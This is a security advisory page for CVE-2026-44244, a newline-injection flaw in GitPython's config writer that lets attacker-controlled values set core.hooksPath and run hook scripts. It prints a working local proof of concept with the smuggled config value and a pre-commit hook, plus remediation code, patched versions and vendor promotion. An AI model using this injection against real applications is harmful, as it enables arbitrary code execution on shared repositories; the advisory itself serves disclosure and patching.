CVE-2026-44244 — gitpython
HIGHCVE-2026-44244 is a high-severity (CVSS 7.8) Code Injection vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44244.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44244 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
PoC (standalone, no MLRun required):
import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.config_writer() as cw:
cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read()) # uid=...
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:
import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
raise ValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.49pip install --upgrade 'gitpython==3.1.49' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.49 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44244 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44244 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44244. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important flaw in GitPython that allows for arbitrary code execution. By injecting newlines into Git configuration values, an attacker can manipulate the `core.hooksPath` to execute malicious scripts during standard Git operations. This poses a significant risk in environments where applications process…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | python3.12-gitpython-0:3.1.50-1.el8ap | RHSA-2026:42078 |
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | python3.12-gitpython-0:3.1.50-1.el9ap | RHSA-2026:42079 |
| Red Hat Satellite 6.19 for RHEL 9 | python3.12-gitpython-0:3.1.59-1.el9pc | RHSA-2026:63385 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/hub-rhel9:1783979593 | RHSA-2026:42132 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/controller-rhel9:1787220257 | RHSA-2026:59153 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/hub-rhel9:1788918708 | RHSA-2026:67279 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9:1788315638 | RHSA-2026:65126 |
| Red Hat OpenShift AI 3.4 | rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9:1787073866 | RHSA-2026:60520 |
Frequently Asked Questions
Is CVE-2026-44244 in your dependencies?
O3 Security finds CVE-2026-44244 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.